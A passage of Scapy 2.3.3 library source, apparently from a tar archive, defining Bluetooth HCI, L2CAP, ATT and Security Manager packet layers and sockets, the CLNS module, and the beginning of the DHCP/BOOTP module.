"L2CAP Conf Req" fields_desc = [ LEShortField("dcid",0), LEShortField("flags",0), ] class L2CAP_ConfResp(Packet): name = "L2CAP Conf Resp" fields_desc = [ LEShortField("scid",0), LEShortField("flags",0), LEShortEnumField("result",0,["success","unaccept","reject","unknown"]), ] def answers(self, other): return self.scid == other.scid class L2CAP_DisconnReq(Packet): name = "L2CAP Disconn Req" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), ] class L2CAP_DisconnResp(Packet): name = "L2CAP Disconn Resp" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), ] def answers(self, other): return self.scid == other.scid class L2CAP_InfoReq(Packet): name = "L2CAP Info Req" fields_desc = [ LEShortEnumField("type",0,{1:"CL_MTU",2:"FEAT_MASK"}), StrField("data","") ] class L2CAP_InfoResp(Packet): name = "L2CAP Info Resp" fields_desc = [ LEShortField("type",0), LEShortEnumField("result",0,["success","not_supp"]), StrField("data",""), ] def answers(self, other): return self.type == other.type class L2CAP_Connection_Parameter_Update_Request(Packet): name = "L2CAP Connection Parameter Update Request" fields_desc = [ LEShortField("min_interval", 0), LEShortField("max_interval", 0), LEShortField("slave_latency", 0), LEShortField("timeout_mult", 0), ] class L2CAP_Connection_Parameter_Update_Response(Packet): name = "L2CAP Connection Parameter Update Response" fields_desc = [ LEShortField("move_result", 0), ] class ATT_Hdr(Packet): name = "ATT header" fields_desc = [ XByteField("opcode", None), ] class ATT_Error_Response(Packet): name = "Error Response" fields_desc = [ XByteField("request", 0), LEShortField("handle", 0), XByteField("ecode", 0), ] class ATT_Exchange_MTU_Request(Packet): name = "Exchange MTU Request" fields_desc = [ LEShortField("mtu", 0), ] class ATT_Exchange_MTU_Response(Packet): name = "Exchange MTU Response" fields_desc = [ LEShortField("mtu", 0), ] class ATT_Find_Information_Request(Packet): name = "Find Information Request" fields_desc = [ XLEShortField("start", 0x0000), XLEShortField("end", 0xffff), ] class ATT_Find_Information_Response(Packet): name = "Find Information Reponse" fields_desc = [ XByteField("format", 1), StrField("data", "") ] class ATT_Find_By_Type_Value_Request(Packet): name = "Find By Type Value Request" fields_desc = [ XLEShortField("start", 0x0001), XLEShortField("end", 0xffff), XLEShortField("uuid", None), StrField("data", ""), ] class ATT_Find_By_Type_Value_Response(Packet): name = "Find By Type Value Response" fields_desc = [ StrField("handles", ""), ] class ATT_Read_By_Type_Request_128bit(Packet): name = "Read By Type Request" fields_desc = [ XLEShortField("start", 0x0001), XLEShortField("end", 0xffff), XLELongField("uuid1", None), XLELongField("uuid2", None)] class ATT_Read_By_Type_Request(Packet): name = "Read By Type Request" fields_desc = [ XLEShortField("start", 0x0001), XLEShortField("end", 0xffff), XLEShortField("uuid", None)] class ATT_Read_By_Type_Response(Packet): name = "Read By Type Response" # fields_desc = [ FieldLenField("len", None, length_of="data", fmt="B"), # StrLenField("data", "", length_from=lambda pkt:pkt.len), ] fields_desc = [ StrField("data", "") ] class ATT_Read_Request(Packet): name = "Read Request" fields_desc = [ XLEShortField("gatt_handle", 0), ] class ATT_Read_Response(Packet): name = "Read Response" fields_desc = [ StrField("value", ""), ] class ATT_Read_By_Group_Type_Request(Packet): name = "Read By Group Type Request" fields_desc = [ XLEShortField("start", 0), XLEShortField("end", 0xffff), XLEShortField("uuid", 0), ] class ATT_Read_By_Group_Type_Response(Packet): name = "Read By Group Type Response" fields_desc = [ XByteField("length", 0), StrField("data", ""), ] class ATT_Write_Request(Packet): name = "Write Request" fields_desc = [ XLEShortField("gatt_handle", 0), StrField("data", ""), ] class ATT_Write_Command(Packet): name = "Write Request" fields_desc = [ XLEShortField("gatt_handle", 0), StrField("data", ""), ] class ATT_Write_Response(Packet): name = "Write Response" fields_desc = [ ] class ATT_Handle_Value_Notification(Packet): name = "Handle Value Notification" fields_desc = [ XLEShortField("handle", 0), StrField("value", ""), ] class SM_Hdr(Packet): name = "SM header" fields_desc = [ ByteField("sm_command", None) ] class SM_Pairing_Request(Packet): name = "Pairing Request" fields_desc = [ ByteEnumField("iocap", 3, {0:"DisplayOnly", 1:"DisplayYesNo", 2:"KeyboardOnly", 3:"NoInputNoOutput", 4:"KeyboardDisplay"}), ByteEnumField("oob", 0, {0:"Not Present", 1:"Present (from remote device)"}), BitField("authentication", 0, 8), ByteField("max_key_size", 16), ByteField("initiator_key_distribution", 0), ByteField("responder_key_distribution", 0), ] class SM_Pairing_Response(Packet): name = "Pairing Response" fields_desc = [ ByteEnumField("iocap", 3, {0:"DisplayOnly", 1:"DisplayYesNo", 2:"KeyboardOnly", 3:"NoInputNoOutput", 4:"KeyboardDisplay"}), ByteEnumField("oob", 0, {0:"Not Present", 1:"Present (from remote device)"}), BitField("authentication", 0, 8), ByteField("max_key_size", 16), ByteField("initiator_key_distribution", 0), ByteField("responder_key_distribution", 0), ] class SM_Confirm(Packet): name = "Pairing Confirm" fields_desc = [ StrFixedLenField("confirm", '\x00' * 16, 16) ] class SM_Random(Packet): name = "Pairing Random" fields_desc = [ StrFixedLenField("random", '\x00' * 16, 16) ] class SM_Failed(Packet): name = "Pairing Failed" fields_desc = [ XByteField("reason", 0) ] class SM_Encryption_Information(Packet): name = "Encryption Information" fields_desc = [ StrFixedLenField("ltk", "\x00" * 16, 16), ] class SM_Master_Identification(Packet): name = "Master Identification" fields_desc = [ XLEShortField("ediv", 0), StrFixedLenField("rand", '\x00' * 8, 8), ] class SM_Identity_Information(Packet): name = "Identity Information" fields_desc = [ StrFixedLenField("irk", '\x00' * 16, 16), ] class SM_Identity_Address_Information(Packet): name = "Identity Address Information" fields_desc = [ ByteEnumField("atype", 0, {0:"public"}), LEMACField("address", None), ] class SM_Signing_Information(Packet): name = "Signing Information" fields_desc = [ StrFixedLenField("csrk", '\x00' * 16, 16), ] class EIR_Hdr(Packet): name = "EIR Header" fields_desc = [ FieldLenField("len", 0, fmt="B"), ByteEnumField("type", 0, { 0x01: "flags", 0x02: "incomplete_list_16_bit_svc_uuids", 0x03: "complete_list_16_bit_svc_uuids", 0x04: "incomplete_list_32_bit_svc_uuids", 0x05: "complete_list_32_bit_svc_uuids", 0x06: "incomplete_list_128_bit_svc_uuids", 0x07: "complete_list_128_bit_svc_uuids", 0x08: "shortened_local_name", 0x09: "complete_local_name", 0x0a: "tx_power_level", 0x0d: "class_of_device", 0x0e: "simple_pairing_hash", 0x0f: "simple_pairing_rand", 0x10: "sec_mgr_tk", 0x11: "sec_mgr_oob_flags", 0x12: "slave_conn_intvl_range", 0x17: "pub_target_addr", 0x18: "rand_target_addr", 0x19: "appearance", 0x1a: "adv_intvl", 0x1b: "le_addr", 0x1c: "le_role", 0x14: "list_16_bit_svc_sollication_uuids", 0x1f: "list_32_bit_svc_sollication_uuids", 0x15: "list_128_bit_svc_sollication_uuids", 0x16: "svc_data_16_bit_uuid", 0x20: "svc_data_32_bit_uuid", 0x21: "svc_data_128_bit_uuid", 0x22: "sec_conn_confirm", 0x22: "sec_conn_rand", 0x24: "uri", 0xff: "mfg_specific_data", }), ] def mysummary(self): return self.sprintf("EIR %type%") class EIR_Element(Packet): name = "EIR Element" def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. return '', s @staticmethod def length_from(pkt): # 'type' byte is included in the length, so substract 1: return pkt.underlayer.len - 1 class EIR_Raw(EIR_Element): name = "EIR Raw" fields_desc = [ StrLenField("data", "", length_from=EIR_Element.length_from) ] class EIR_Flags(EIR_Element): name = "Flags" fields_desc = [ FlagsField("flags", 0x2, 8, ["limited_disc_mode", "general_disc_mode", "br_edr_not_supported", "simul_le_br_edr_ctrl", "simul_le_br_edr_host"] + 3*["reserved"]) ] class EIR_CompleteList16BitServiceUUIDs(EIR_Element): name = "Complete list of 16-bit service UUIDs" fields_desc = [ FieldListField("svc_uuids", None, XLEShortField("uuid", 0), length_from=EIR_Element.length_from) ] class EIR_IncompleteList16BitServiceUUIDs(EIR_CompleteList16BitServiceUUIDs): name = "Incomplete list of 16-bit service UUIDs" class EIR_CompleteLocalName(EIR_Element): name = "Complete Local Name" fields_desc = [ StrLenField("local_name", "", length_from=EIR_Element.length_from) ] class EIR_ShortenedLocalName(EIR_CompleteLocalName): name = "Shortened Local Name" class EIR_TX_Power_Level(EIR_Element): name = "TX Power Level" fields_desc = [SignedByteField("level", 0)] class EIR_Manufacturer_Specific_Data(EIR_Element): name = "EIR Manufacturer Specific Data" fields_desc = [ XLEShortField("company_id", 0), StrLenField("data", "", length_from=lambda pkt: EIR_Element.length_from(pkt) - 2) ] class HCI_Command_Hdr(Packet): name = "HCI Command header" fields_desc = [ XLEShortField("opcode", 0), ByteField("len", None), ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-3 p = p[:2]+chr(l&0xff)+p[3:] return p class HCI_Cmd_Reset(Packet): name = "Reset" class HCI_Cmd_Set_Event_Filter(Packet): name = "Set Event Filter" fields_desc = [ ByteEnumField("type", 0, {0:"clear"}), ] class HCI_Cmd_Connect_Accept_Timeout(Packet): name = "Connection Attempt Timeout" fields_desc = [ LEShortField("timeout", 32000) ] # 32000 slots is 20000 msec class HCI_Cmd_LE_Host_Supported(Packet): name = "LE Host Supported" fields_desc = [ ByteField("supported", 1), ByteField("simultaneous", 1), ] class HCI_Cmd_Set_Event_Mask(Packet): name = "Set Event Mask" fields_desc = [ StrFixedLenField("mask", "\xff\xff\xfb\xff\x07\xf8\xbf\x3d", 8) ] class HCI_Cmd_Read_BD_Addr(Packet): name = "Read BD Addr" class HCI_Cmd_LE_Set_Scan_Parameters(Packet): name = "LE Set Scan Parameters" fields_desc = [ ByteEnumField("type", 1, {1:"active"}), XLEShortField("interval", 16), XLEShortField("window", 16), ByteEnumField("atype", 0, {0:"public"}), ByteEnumField("policy", 0, {0:"all"}), ] class HCI_Cmd_LE_Set_Scan_Enable(Packet): name = "LE Set Scan Enable" fields_desc = [ ByteField("enable", 1), ByteField("filter_dups", 1), ] class HCI_Cmd_Disconnect(Packet): name = "Disconnect" fields_desc = [ XLEShortField("handle", 0), ByteField("reason", 0x13), ] class HCI_Cmd_LE_Create_Connection(Packet): name = "LE Create Connection" fields_desc = [ LEShortField("interval", 96), LEShortField("window", 48), ByteEnumField("filter", 0, {0:"address"}), ByteEnumField("patype", 0, {0:"public", 1:"random"}), LEMACField("paddr", None), ByteEnumField("atype", 0, {0:"public", 1:"random"}), LEShortField("min_interval", 40), LEShortField("max_interval", 56), LEShortField("latency", 0), LEShortField("timeout", 42), LEShortField("min_ce", 0), LEShortField("max_ce", 0), ] class HCI_Cmd_LE_Connection_Update(Packet): name = "LE Connection Update" fields_desc = [ LEShortField("conn_handle", 64), LEShortField("conn_interval_min", 0), LEShortField("conn_interval_max", 0), LEShortField("conn_latency", 0), LEShortField("timeout", 600), LEShortField("min_ce_len", 0), LEShortField("max_ce_len", 0),] class HCI_Cmd_LE_Create_Connection_Cancel(Packet): name = "LE Create Connection Cancel" class HCI_Cmd_LE_Connection_Update(Packet): name = "LE Connection Update" fields_desc = [ XLEShortField("handle", 0), XLEShortField("min_interval", 0), XLEShortField("max_interval", 0), XLEShortField("latency", 0), XLEShortField("timeout", 0), LEShortField("min_ce", 0), LEShortField("max_ce", 0xffff), ] class HCI_Cmd_LE_Read_Buffer_Size(Packet): name = "LE Read Buffer Size" class HCI_Cmd_LE_Set_Random_Address(Packet): name = "LE Set Random Address" fields_desc = [ LEMACField("address", None) ] class HCI_Cmd_LE_Set_Advertising_Parameters(Packet): name = "LE Set Advertising Parameters" fields_desc = [ LEShortField("interval_min", 0x0800), LEShortField("interval_max", 0x0800), ByteEnumField("adv_type", 0, {0:"ADV_IND", 1:"ADV_DIRECT_IND", 2:"ADV_SCAN_IND", 3:"ADV_NONCONN_IND", 4:"ADV_DIRECT_IND_LOW"}), ByteEnumField("oatype", 0, {0:"public", 1:"random"}), ByteEnumField("datype", 0, {0:"public", 1:"random"}), LEMACField("daddr", None), ByteField("channel_map", 7), ByteEnumField("filter_policy", 0, {0:"all:all", 1:"connect:all scan:whitelist", 2:"connect:whitelist scan:all", 3:"all:whitelist"}), ] class HCI_Cmd_LE_Set_Advertising_Data(Packet): name = "LE Set Advertising Data" fields_desc = [ FieldLenField("len", None, length_of="data", fmt="B"), StrLenField("data", "", length_from=lambda pkt:pkt.len), ] class HCI_Cmd_LE_Set_Advertise_Enable(Packet): name = "LE Set Advertise Enable" fields_desc = [ ByteField("enable", 0) ] class HCI_Cmd_LE_Start_Encryption_Request(Packet): name = "LE Start Encryption" fields_desc = [ LEShortField("handle", 0), StrFixedLenField("rand", None, 8), XLEShortField("ediv", 0), StrFixedLenField("ltk", '\x00' * 16, 16), ] class HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(Packet): name = "LE Long Term Key Request Negative Reply" fields_desc = [ LEShortField("handle", 0), ] class HCI_Cmd_LE_Long_Term_Key_Request_Reply(Packet): name = "LE Long Term Key Request Reply" fields_desc = [ LEShortField("handle", 0), StrFixedLenField("ltk", '\x00' * 16, 16), ] class HCI_Event_Hdr(Packet): name = "HCI Event header" fields_desc = [ XByteField("code", 0), ByteField("length", 0), ] class HCI_Event_Disconnection_Complete(Packet): name = "Disconnection Complete" fields_desc = [ ByteEnumField("status", 0, {0:"success"}), LEShortField("handle", 0), XByteField("reason", 0), ] class HCI_Event_Encryption_Change(Packet): name = "Encryption Change" fields_desc = [ ByteEnumField("status", 0, {0:"change has occurred"}), LEShortField("handle", 0), ByteEnumField("enabled", 0, {0:"OFF", 1:"ON (LE)", 2:"ON (BR/EDR)"}), ] class HCI_Event_Command_Complete(Packet): name = "Command Complete" fields_desc = [ ByteField("number", 0), XLEShortField("opcode", 0), ByteEnumField("status", 0, {0:"success"}), ] class HCI_Cmd_Complete_Read_BD_Addr(Packet): name = "Read BD Addr" fields_desc = [ LEMACField("addr", None), ] class HCI_Event_Command_Status(Packet): name = "Command Status" fields_desc = [ ByteEnumField("status", 0, {0:"pending"}), ByteField("number", 0), XLEShortField("opcode", None), ] class HCI_Event_Number_Of_Completed_Packets(Packet): name = "Number Of Completed Packets" fields_desc = [ ByteField("number", 0) ] class HCI_Event_LE_Meta(Packet): name = "LE Meta" fields_desc = [ ByteEnumField("event", 0, {2:"advertising_report"}) ] class HCI_LE_Meta_Connection_Complete(Packet): name = "Connection Complete" fields_desc = [ ByteEnumField("status", 0, {0:"success"}), LEShortField("handle", 0), ByteEnumField("role", 0, {0:"master"}), ByteEnumField("patype", 0, {0:"public", 1:"random"}), LEMACField("paddr", None), LEShortField("interval", 54), LEShortField("latency", 0), LEShortField("supervision", 42), XByteField("clock_latency", 5), ] class HCI_LE_Meta_Connection_Update_Complete(Packet): name = "Connection Update Complete" fields_desc = [ ByteEnumField("status", 0, {0:"success"}), LEShortField("handle", 0), LEShortField("interval", 54), LEShortField("latency", 0), LEShortField("timeout", 42), ] class HCI_LE_Meta_Advertising_Report(Packet): name = "Advertising Report" fields_desc = [ ByteField("number", 0), ByteEnumField("type", 0, {0:"conn_und", 4:"scan_rsp"}), ByteEnumField("atype", 0, {0:"public", 1:"random"}), LEMACField("addr", None), FieldLenField("len", None, length_of="data", fmt="B"), PacketListField("data", [], EIR_Hdr, length_from=lambda pkt:pkt.len), SignedByteField("rssi", 0)] class HCI_LE_Meta_Long_Term_Key_Request(Packet): name = "Long Term Key Request" fields_desc = [ LEShortField("handle", 0), StrFixedLenField("rand", None, 8), XLEShortField("ediv", 0), ] bind_layers( HCI_Hdr, HCI_Command_Hdr, type=1) bind_layers( HCI_Hdr, HCI_ACL_Hdr, type=2) bind_layers( HCI_Hdr, HCI_Event_Hdr, type=4) bind_layers( HCI_Hdr, conf.raw_layer, ) bind_layers( HCI_Command_Hdr, HCI_Cmd_Reset, opcode=0x0c03) bind_layers( HCI_Command_Hdr, HCI_Cmd_Set_Event_Mask, opcode=0x0c01) bind_layers( HCI_Command_Hdr, HCI_Cmd_Set_Event_Filter, opcode=0x0c05) bind_layers( HCI_Command_Hdr, HCI_Cmd_Connect_Accept_Timeout, opcode=0x0c16) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Host_Supported, opcode=0x0c6d) bind_layers( HCI_Command_Hdr, HCI_Cmd_Read_BD_Addr, opcode=0x1009) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size, opcode=0x2002) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Random_Address, opcode=0x2005) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Parameters, opcode=0x2006) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Data, opcode=0x2008) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertise_Enable, opcode=0x200a) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Parameters, opcode=0x200b) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Enable, opcode=0x200c) bind_layers( HCI_Command_Hdr, HCI_Cmd_Disconnect, opcode=0x406) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection, opcode=0x200d) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection_Cancel, opcode=0x200e) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Connection_Update, opcode=0x2013) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Start_Encryption_Request, opcode=0x2019) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Reply, opcode=0x201a) bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, opcode=0x201b) bind_layers( HCI_Event_Hdr, HCI_Event_Disconnection_Complete, code=0x5) bind_layers( HCI_Event_Hdr, HCI_Event_Encryption_Change, code=0x8) bind_layers( HCI_Event_Hdr, HCI_Event_Command_Complete, code=0xe) bind_layers( HCI_Event_Hdr, HCI_Event_Command_Status, code=0xf) bind_layers( HCI_Event_Hdr, HCI_Event_Number_Of_Completed_Packets, code=0x13) bind_layers( HCI_Event_Hdr, HCI_Event_LE_Meta, code=0x3e) bind_layers( HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_BD_Addr, opcode=0x1009) bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Complete, event=1) bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Advertising_Report, event=2) bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Update_Complete, event=3) bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Long_Term_Key_Request, event=5) bind_layers(EIR_Hdr, EIR_Flags, type=0x01) bind_layers(EIR_Hdr, EIR_IncompleteList16BitServiceUUIDs, type=0x02) bind_layers(EIR_Hdr, EIR_CompleteList16BitServiceUUIDs, type=0x03) bind_layers(EIR_Hdr, EIR_ShortenedLocalName, type=0x08) bind_layers(EIR_Hdr, EIR_CompleteLocalName, type=0x09) bind_layers(EIR_Hdr, EIR_TX_Power_Level, type=0x0a) bind_layers(EIR_Hdr, EIR_Manufacturer_Specific_Data, type=0xff) bind_layers(EIR_Hdr, EIR_Raw) bind_layers( HCI_ACL_Hdr, L2CAP_Hdr, ) bind_layers( L2CAP_Hdr, L2CAP_CmdHdr, cid=1) bind_layers( L2CAP_Hdr, L2CAP_CmdHdr, cid=5) #LE L2CAP Signaling Channel bind_layers( L2CAP_CmdHdr, L2CAP_CmdRej, code=1) bind_layers( L2CAP_CmdHdr, L2CAP_ConnReq, code=2) bind_layers( L2CAP_CmdHdr, L2CAP_ConnResp, code=3) bind_layers( L2CAP_CmdHdr, L2CAP_ConfReq, code=4) bind_layers( L2CAP_CmdHdr, L2CAP_ConfResp, code=5) bind_layers( L2CAP_CmdHdr, L2CAP_DisconnReq, code=6) bind_layers( L2CAP_CmdHdr, L2CAP_DisconnResp, code=7) bind_layers( L2CAP_CmdHdr, L2CAP_InfoReq, code=10) bind_layers( L2CAP_CmdHdr, L2CAP_InfoResp, code=11) bind_layers( L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Request, code=18) bind_layers( L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Response, code=19) bind_layers( L2CAP_Hdr, ATT_Hdr, cid=4) bind_layers( ATT_Hdr, ATT_Error_Response, opcode=0x1) bind_layers( ATT_Hdr, ATT_Exchange_MTU_Request, opcode=0x2) bind_layers( ATT_Hdr, ATT_Exchange_MTU_Response, opcode=0x3) bind_layers( ATT_Hdr, ATT_Find_Information_Request, opcode=0x4) bind_layers( ATT_Hdr, ATT_Find_Information_Response, opcode=0x5) bind_layers( ATT_Hdr, ATT_Find_By_Type_Value_Request, opcode=0x6) bind_layers( ATT_Hdr, ATT_Find_By_Type_Value_Response, opcode=0x7) bind_layers( ATT_Hdr, ATT_Read_By_Type_Request, opcode=0x8) bind_layers( ATT_Hdr, ATT_Read_By_Type_Request_128bit, opcode=0x8) bind_layers( ATT_Hdr, ATT_Read_By_Type_Response, opcode=0x9) bind_layers( ATT_Hdr, ATT_Read_Request, opcode=0xa) bind_layers( ATT_Hdr, ATT_Read_Response, opcode=0xb) bind_layers( ATT_Hdr, ATT_Read_By_Group_Type_Request, opcode=0x10) bind_layers( ATT_Hdr, ATT_Read_By_Group_Type_Response, opcode=0x11) bind_layers( ATT_Hdr, ATT_Write_Request, opcode=0x12) bind_layers( ATT_Hdr, ATT_Write_Response, opcode=0x13) bind_layers( ATT_Hdr, ATT_Write_Command, opcode=0x52) bind_layers( ATT_Hdr, ATT_Handle_Value_Notification, opcode=0x1b) bind_layers( L2CAP_Hdr, SM_Hdr, cid=6) bind_layers( SM_Hdr, SM_Pairing_Request, sm_command=1) bind_layers( SM_Hdr, SM_Pairing_Response, sm_command=2) bind_layers( SM_Hdr, SM_Confirm, sm_command=3) bind_layers( SM_Hdr, SM_Random, sm_command=4) bind_layers( SM_Hdr, SM_Failed, sm_command=5) bind_layers( SM_Hdr, SM_Encryption_Information, sm_command=6) bind_layers( SM_Hdr, SM_Master_Identification, sm_command=7) bind_layers( SM_Hdr, SM_Identity_Information, sm_command=8) bind_layers( SM_Hdr, SM_Identity_Address_Information, sm_command=9) bind_layers( SM_Hdr, SM_Signing_Information, sm_command=0x0a) class BluetoothL2CAPSocket(SuperSocket): desc = "read/write packets on a connected L2CAP socket" def __init__(self, peer): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) s.connect((peer,0)) self.ins = self.outs = s def recv(self, x=MTU): return L2CAP_CmdHdr(self.ins.recv(x)) class BluetoothHCISocket(SuperSocket): desc = "read/write on a BlueTooth HCI socket" def __init__(self, iface=0x10000, type=None): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1) s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP,1) s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffffL,0xffffffffL,0xffffffffL,0)) #type mask, event mask, event mask, opcode s.bind((iface,)) self.ins = self.outs = s # s.connect((peer,0)) def recv(self, x): return HCI_Hdr(self.ins.recv(x)) class sockaddr_hci(Structure): _fields_ = [ ("sin_family", c_ushort), ("hci_dev", c_ushort), ("hci_channel", c_ushort), ] class BluetoothSocketError(BaseException): pass class BluetoothCommandError(BaseException): pass class BluetoothUserSocket(SuperSocket): desc = "read/write H4 over a Bluetooth user channel" def __init__(self, adapter=0): # s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) # s.bind((0,1)) # yeah, if only # thanks to Python's weak ass socket and bind implementations, we have # to call down into libc with ctypes sockaddr_hcip = POINTER(sockaddr_hci) cdll.LoadLibrary("libc.so.6") libc = CDLL("libc.so.6") socket_c = libc.socket socket_c.argtypes = (c_int, c_int, c_int); socket_c.restype = c_int bind = libc.bind bind.argtypes = (c_int, POINTER(sockaddr_hci), c_int) bind.restype = c_int ######## ## actual code s = socket_c(31, 3, 1) # (AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER) if s < 0: raise BluetoothSocketError("Unable to open PF_BLUETOOTH socket") sa = sockaddr_hci() sa.sin_family = 31 # AF_BLUETOOTH sa.hci_dev = adapter # adapter index sa.hci_channel = 1 # HCI_USER_CHANNEL r = bind(s, sockaddr_hcip(sa), sizeof(sa)) if r != 0: raise BluetoothSocketError("Unable to bind") self.ins = self.outs = socket.fromfd(s, 31, 3, 1) def send_command(self, cmd): opcode = cmd.opcode self.send(cmd) while True: r = self.recv() if r.type == 0x04 and r.code == 0xe and r.opcode == opcode: if r.status != 0: raise BluetoothCommandError("Command %x failed with %x" % (opcode, r.status)) return r def recv(self, x=512): return HCI_Hdr(self.ins.recv(x)) def readable(self, timeout=0): (ins, outs, foo) = select([self.ins], [], [], timeout) return len(ins) > 0 def flush(self): while self.readable(): self.recv() ## Bluetooth @conf.commands.register def srbt(peer, pkts, inter=0.1, *args, **kargs): """send and receive using a bluetooth socket""" s = conf.BTsocket(peer=peer) a,b = sndrcv(s,pkts,inter=inter,*args,**kargs) s.close() return a,b @conf.commands.register def srbt1(peer, pkts, *args, **kargs): """send and receive 1 packet using a bluetooth socket""" a,b = srbt(peer, pkts, *args, **kargs) if len(a) > 0: return a[0][1] conf.BTsocket = BluetoothL2CAPSocket scapy-2.3.3/scapy/layers/clns.py000066400000000000000000000045561300136037300165730ustar00rootroot00000000000000""" CLNS Extension ~~~~~~~~~~~~~~~~~~~~~ :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany) :author: Marcel Patzlaff, mpatzlaff@benocs.com :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides a registration function and a generic PDU for OSI Connectionless-mode Network Services (such as IS-IS). """ import struct from scapy.config import conf from scapy.fields import ByteEnumField, PacketField from scapy.layers.l2 import LLC from scapy.packet import Packet, bind_top_down, bind_bottom_up network_layer_protocol_ids = { 0x00: "Null", 0x08: "Q.933", 0x80: "IEEE SNAP", 0x81: "ISO 8438 CLNP", 0x82: "ISO 9542 ES-IS", 0x83: "ISO 10589 IS-IS", 0x8E: "IPv6", 0xB0: "FRF.9", 0xB1: "FRF.12", 0xC0: "TRILL", 0xC1: "IEEE 802.aq", 0xCC: "IPv4", 0xCF: "PPP" } _cln_protocols = {} class _GenericClnsPdu(Packet): name = "Generic CLNS PDU" fields_desc = [ ByteEnumField("nlpid", 0x00, network_layer_protocol_ids), PacketField("rawdata", None, conf.raw_layer) ] def _create_cln_pdu(s, **kwargs): pdu_cls = conf.raw_layer if len(s) >= 1: nlpid = struct.unpack("!B", s[0])[0] pdu_cls = _cln_protocols.get(nlpid, _GenericClnsPdu) return pdu_cls(s, **kwargs) @conf.commands.register def register_cln_protocol(nlpid, cln_protocol_class): if nlpid is None or cln_protocol_class is None: return chk = _cln_protocols.get(nlpid, None) if chk is not None and chk != cln_protocol_class: raise ValueError("different protocol already registered!") _cln_protocols[nlpid] = cln_protocol_class bind_top_down(LLC, cln_protocol_class, dsap=0xfe, ssap=0xfe, ctrl=3) bind_top_down(LLC, _GenericClnsPdu, dsap=0xfe, ssap=0xfe, ctrl=3) bind_bottom_up(LLC, _create_cln_pdu, dsap=0xfe, ssap=0xfe, ctrl=3) scapy-2.3.3/scapy/layers/dhcp.py000066400000000000000000000276771300136037300165630ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ DHCP (Dynamic Host Configuration Protocol) d BOOTP """ import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.data import * from scapy.layers.inet import UDP,IP from scapy.layers.l2 import Ether from scapy.base_classes import Net from scapy.volatile import RandField from scapy.arch import get_if_raw_hwaddr from scapy.sendrecv import * dhcpmagic="c\x82Sc" class BOOTP(Packet): name = "BOOTP" fields_desc = [ ByteEnumField("op",1, {1:"BOOTREQUEST", 2:"BOOTREPLY"}), ByteField("htype",1), ByteField("hlen",6), ByteField("hops",0), IntField("xid",0), ShortField("secs",0), FlagsField("flags", 0, 16, "???????????????B"), IPField("ciaddr","0.0.0.0"), IPField("yiaddr","0.0.0.0"), IPField("siaddr","0.0.0.0"), IPField("giaddr","0.0.0.0"), Field("chaddr","", "16s"), Field("sname","","64s"), Field("file","","128s"), StrField("options","") ] def guess_payload_class(self, payload): if self.options[:len(dhcpmagic)] == dhcpmagic: return DHCP else: return Packet.guess_payload_class(self, payload) def extract_padding(self,s): if self.options[:len(dhcpmagic)] == dhcpmagic: # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options payload = self.options[len(dhcpmagic):] self.options = self.options[:len(dhcpmagic)] return payload, None else: return "", None def hashret(self): return struct.pack("L", self.xid) def answers(self, other): if not isinstance(other, BOOTP): return 0 return self.xid == other.xid #DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \ #= range(4) # DHCPTypes = { 1: "discover", 2: "offer", 3: "request", 4: "decline", 5: "ack", 6: "nak", 7: "release", 8: "inform", 9: "force_renew", 10:"lease_query", 11:"lease_unassigned", 12:"lease_unknown", 13:"lease_active", } DHCPOptions = { 0: "pad", 1: IPField("subnet_mask", "0.0.0.0"), 2: "time_zone", 3: IPField("router","0.0.0.0"), 4: IPField("time_server","0.0.0.0"), 5: IPField("IEN_name_server","0.0.0.0"), 6: IPField("name_server","0.0.0.0"), 7: IPField("log_server","0.0.0.0"), 8: IPField("cookie_server","0.0.0.0"), 9: 